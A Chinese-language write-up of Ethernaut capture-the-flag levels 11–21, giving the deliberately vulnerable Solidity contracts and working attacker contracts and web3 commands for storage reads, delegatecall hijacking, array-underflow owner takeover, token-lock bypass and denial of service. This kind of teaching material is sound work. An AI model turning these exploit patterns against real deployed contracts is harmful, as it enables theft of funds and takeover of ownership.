Ethernaut 题解(11-21)

11. Elevator

通关条件

将目标合约的 top 字段修改为 true

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.5.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

解题过程

可以看到按照目标合约的逻辑,如果 building.isLastFloor(_floor) 为 true,函数将无法修改 top 的值。注意到 building.isLastFloor/1 执行了两次,那么我们只需要让这个函数两次执行返回不一样的结果就好。攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract HackBuilding is Building {

Elevator e;

bool isCalled = false;

constructor(Elevator _addr) public {
e = _addr;
}

function isLastFloor(uint) external returns (bool) {
bool result = isCalled;
isCalled = true;
return result;
}

function goTo(uint _floor) public {
e.goTo(_floor);
}
}

合约部署后,调用 goTo(任意楼层)即可。

12. Privacy

通关条件

解锁目标合约

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.5.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

解题过程

和第八题一样的解法。

合约存储布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
// 1 byte, slot 0
bool public locked = true;
// 32 bytes, slot 1
uint256 public ID = block.timestamp;
// 1 byte, slot 2
uint8 private flattening = 10;
// 1 byte, slot 2
uint8 private denomination = 255;
// 2 byte, slot 2
uint16 private awkwardness = uint16(now);
// bytes32[0], 32 bytes, slot 3; bytes32[1], 32 bytes, slot 4; bytes32[2], 32 bytes, slot 5
bytes32[3] private data;

所以我们要获得 data 就可以:

1
await web3.eth.getStorageAt(instance, 5);

需要注意的是,要解锁合约的 _key 是 bytes16 类型的,而 data 是 bytes32 类型的,bytes32 转换到 bytes 16 会截断超出的 bytes,也就是我们只取前 16 个 bytes 就好。

13. Gatekeeper One

通关条件

通过目标合约所有 modifier 的检查,设置目标合约的 entrant 字段

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

解题过程

要通过 gateOne 很容易,使用中间合约调用 enter 即可

要通过 gateThree 也挺简单:

  1. part one 说明 4 字节的 _gateKey 和 2 字节的 _gateKey 是相同的
  2. part two 说明 4 字节的 _gateKey 和 8 字节的 _gateKey 是不同的
  3. part three 说明 4 字节的 _gateKey 和 2 字节的 tx.origin 是相同的

又有:

uint16(address) 的转换会保留 address 最后两个字节,由上述 1,3 可得,uint32(uint64(_gateKey)) 等于 uint32(tx.origin) & 0x0000FFFF。再结合上述 2,只要 _gateKey 的最后 4 个字节为 uint32(tx.origin) & 0x0000FFFF,其前面的 4 个字节可以为全 0 外的任意值。我们这里直接取 player 地址的最后八个字节,然后将其第 5,6 个字节替换为 0 得到 _gateKey

此题最麻烦的就是 gateTwo,要求执行到 gateTwo 的时候,剩余的 gas 对 8191 取模为 0。我们先部署一个攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
contract HackGateOne {

GatekeeperOne g;

constructor(address _addr) public {
g = GatekeeperOne(_addr);
}

function hack(bytes8 _gateKey, uint256 _gasAmount) public {
(bool result, ) = address(g).call.gas(_gasAmount)(abi.encodeWithSignature("enter(bytes8)", _gateKey));
require(result);
}
}

_gasAmount = 90000 尝试 hack 一下。交易失败后可以通过 etherscan 查看 Geth trace,找出 GAS opcode(gasleft() 的 opcode)的位置,得到:

image.png

可见执行到 gasleft() 的时候还剩余 89791 gas,gasleft() 本身又消耗 2 gas,所以本次合约执行 gasleft() == 89789。我们的目标是让 gasleft() == 81910,所以 _gasAmount 调整为 90000 - (89189 - 81910) = 82121,再次提交后成功过关。

*在 remix 中可以通过 Debug 看到 gas 消耗情况,但是或许由于目标合约的编译器版本和编译器设置和本地环境有所区别,所以得到的结果并不准确。

14. Gatekeeper Two

通关条件

通过目标合约所有 modifier 的检查,设置目标合约的 entrant 字段

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.5.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

解题过程

gateOne: 同上一题

gateTwo:要求调用者的 extcodesize 为 0,看起来和 gateOne 冲突了,因为 gateOne 要求通过中间合约调用目标合约,但是中间合约的 codesize 是必然大于 0 的。查阅资料后得知,如果在中间合约的 constructor 中调用目标合约,此时中间合约的 extcodesize 为 0。

gateThree:异或运算具有自反性,即 A XOR B XOR B = A XOR 0 = A,所以 bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1))

由上述可得攻击合约:

1
2
3
4
5
6
7
8
contract HackGateTwo {

constructor(address _addr) public {
bytes8 _gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
(bool success, ) = _addr.call(abi.encodeWithSignature("enter(bytes8)", _gateKey));
require(success);
}
}

15. Naught Coin

通关条件

目标合约是一个 ERC20 代币合约,玩家的合约被锁仓十年。绕过锁仓限制提取资金即可通关

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol';
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20, ERC20Detailed {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20Detailed('NaughtCoin', '0x0', 18)
ERC20()
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

解题过程

ERC20 标准中有 approve 和 transferFrom 函数,可以允许第三方动用代币持有人的资金,所以先写一个攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
contract HackCoin {

NaughtCoin c;

constructor(NaughtCoin _addr) public {
c = _addr;
}

function transfer(address sender, address _to, uint256 _value) public {
c.transferFrom(sender, _to, _value);
}
}

然后使用 contract.approve('attacker contract address', (await contract.balanceOf(player)).toString()) 将玩家的所有代币委托给攻击合约。

最后调用攻击合约 transfer(player, target, value) 即可。

16. Preservation

通关条件

获得目标合约的 ownership

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.5.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

解题过程

回顾一下第 6 题:

delegatecall 调用的是其他合约的代码,但是修改的是当前合约的存储空间

考虑以下因素:

  1. Preservation 调用 setTime 的时候,修改的是 Preservation 的存储空间,而非 LibraryContract 的。
  2. setTime 执行的时候,会对 uint 类型的 storedTime 赋值,这实际意味着对存储空间中的 slot 0 进行赋值。
  3. Preservation 存储空间中 slot 0 存储的是 timeZone1Library,也就是调用 setTime 将会导致 timeZone1Library 被修改。

综合以上 3 点,我们可以将 timeZone1Library 替换为攻击合约。攻击合约沿用上面的思路,构建一个新的 LibraryContract,该合约在调用 setTime 的时候,会修改存储空间中 slot 2 的值(Preservation 的 slot 2 存储的是 owner)。攻击合约如下:

1
2
3
4
5
6
7
8
9
10
contract HackPreservation {

address public tempAddress1;
address public tempAddress2;
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

部署攻击合约,得到 attackerContractAddress,执行以下操作:

1
2
contract.setFirstTime('attackerContractAddress');
contract.setFirstTime(player);

至此攻击完成。

17. Recovery

通关条件

找出目标合约生成的代币合约,并取出里面的 ETH

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
function() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

解题过程

直接去 Etherscan 找 instance 的交易记录,可以很容易找到代币合约,然后调用其 destroy 函数即可。操作如下:

1
2
3
4
let func = web3.eth.abi.encodeFunctionSignature('destroy(address)')
let param = web3.eth.abi.encodeParameter('address', player)
data = func + param.replace('0x', '')
web3.eth.sendTransaction({from: player, to: 'token contract address', data: data})

不过按照通关之后给的 tips 的意思,应该是想让玩家计算出代币合约地址。

合约地址的计算方式为:

1
address = keccak(RLP([creator, nonce]))[12:] // 取右边的 20 个 bytes

更多信息可以参考这里

18. MagicNumber

通关条件

部署一个只有 10 个 opcode 的合约,该合约在调用后返回 42

调用者合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.5.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

解题过程

不会,找到了这篇题解。我们需要手工构造一个合约。

创建合约的交易的 bytecode 主要由初始化代码和运行时代码两部分组成。初始化代码用于创建合约,并存储运行时代码;运行时代码则是合约的实际逻辑。

首先考虑运行时代码。我们需要将 42(0x2A)存放到内存中,再返回给调用者。第一个步骤需要使用 MSTORE(0x52,用于将一个 (u)int256 写入内存,0x52),第二个步骤需要使用 RETURN(0xF3,返回合约调用的结果)。

第一步需要执行:

1
2
3
4
5
PUSH1 0x2A(PUSH1,0x60,用于将 1 byte 的值推入插槽栈中。这里我们需要存储 42
PUSH1 0x80(我们将 0x2A 存入 slot 0x80
MSTORE(以前两个元素作为参数调用 MSTORE)

所以该步骤的代码为 0x602A608052

第二步需要执行:

1
2
3
4
5
PUSH1 0x20(返回值的长度,我们设置为 32 bytes)
PUSH1 0x80(返回值存储在 slot 0x80
RETURN(以前两个元素为参数调用 RETURN)

所以该步骤的代码为 0x60206080F3

两个步骤结合起来得到我们的运行时代码 0x602A60805260206080F3,刚好 10 个 opcode,同时也是 10 bytes。

现在考虑初始化代码。初始化代码需要拷贝运行时代码并返回给 EVM。第一个步骤需要使用 CODECOPY(0x39,用于拷贝运行时代码),第二个步骤也是 RETURN。

第一步需要执行:

1
2
3
4
5
6
PUSH1 0x0A(运行时代码的大小,10 bytes)
PUSH1 0x??(运行时代码目前的位置,现在还是未知)
PUSH1 0x00(运行时代码存储的目标位置,我们设定为 slot 0x00
CODECOPY(以前三个元素为参数调用 CODECOPY)

所以该步骤代码为 0x600A60??600039

第二步需要执行:

1
2
3
4
5
PUSH1 0x0A(运行时代码的长度,10 bytes)
PUSH1 0x00(运行时代码存储的位置,slot 0x00
RETURN(以前两个元素为参数调用 RETURN)

所以该步骤代码为 0x600A6000F3

结合以上两步我们可以得到初始化代码一共 12 bytes,运行时代码会接在初始化代码之后,所以上面的 0x?? 实际上是 0x0C(运行时代码在 bytecode 中的起始索引为 12)。由此得到我们的初始化代码 0x600A600C600039600A6000F3

将初始化代码和运行时代码组合起来就得到了我们的 bytecode:0x600A600C600039600A6000F3602A60805260206080F3

接下来部署我们的合约并设置为 Solver:

1
2
3
4
let bytecode = "0x600A600C600039600A6000F3602A60805260206080F3";
web3.eth.sendTransaction({from: player, data: bytecode});
// 通关 Etherscan 得到合约地址 contractAddress
await contract.setSolver("contractAddress");

最后提交通关~

补充:有关 EVM 和 opcode 相关的内容可以查看这里

19. Alien Codex

这道题获取 instance 的时候有 BUG,需要手工做些处理。详情在这儿

通关条件

获得目标合约的 ownership

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

解题过程

该合约的 owner 字段定义在 Ownable 中,存储在 slot 0,我们的目标就是替换 slot 0 中的数据。
注意以下几点:

  1. 目标合约定义了一个叫 codex 的 bytes32[] 类型的数组,我们可以向该数组中添加/修改数据,还可以修改数组的长度
  2. 在 Solidity 中,插槽数组大小为 2**256,codex 中的元素为 bytes32 类型,所以一个元素会占据一个 slot
  3. 在 Solidity 中,(2**256 - 1) + 1 = 0
  4. 各个字段在 Storage 中的布局:
1
2
3
4
address _owner: slot 0, 20 bytes
bool contact: slot 0, 8 bytes
length of codex: slot 1, 32 bytes
codex elements: start from slot keccak256(1)

综合这些信息不难想到,我们可以通过让 codex 溢出来访问到 slot 0。Storage 的情况可以使用 remix 的 Debug 功能来观察、验证。

具体的攻击步骤如下:

1
2
3
4
5
6
contract.make_contact()
contract.retract() // 该步骤使得 codex.length 溢出,codex.length == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
// codex 的第一个元素应该位于 keccak256(abi.encodePacked(1)) == 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6,该 slot 到 slot 0 的距离为:
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
// 结果为 35707666377435648211887908874984608119992236509074197713628505308453184860938
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', player) // 注意 player 需要添加前置 0,因为 address 是 20 bytes,而 slot 0 存储 32 bytes

20. Denial

通关条件

阻止目标合约的 owner 从合约中转账

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
function() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

解题思路

本题有个很明显的重入漏洞,看似我们可以通过重入 withdraw 方法将合约中的资金全部转走,如此一来,owner 自然无法成功转账。但是!每次转账金额都是余额的 1%,转是转不完的,重入是不行的。所以我们需要另想办法(按照题意也是要求在合约中还有资金的时候 DOS)。

主要思路是,让合约在执行时消耗完所有 gas,交易失败。所以我们可以构建这样的攻击合约:

1
2
3
4
5
6
contract DenialAttacker {

function () external payable {
assert(false);
}
}

将该合约设置为 WithdrawPartner 后提交即可通过。

21. Shop

通关条件

实现一个函数,使得两次调用返回值不同

目标合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.5.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

解题思路

和第 11 题很像,但是此题的 price 函数被设置为 view,所以我们无法利用攻击合约中的字段来处理返回值。注意到 Shop 中有个 isSold 字段,我们可以利用它来调整返回值,攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract ShopAttacker is Buyer {
Shop public shop;

constructor(Shop _shop) public {
shop = _shop;
}

function buy() public {
shop.buy();
}

function price() public view returns (uint) {
return shop.isSold() ? 1 : 111;
}
}

但是在尝试提交后发现交易失败。经过查询得知,随着 EIP-1884 的实施,SLOAD 的 gas 消耗增加了,导致此题目前无解,详见这里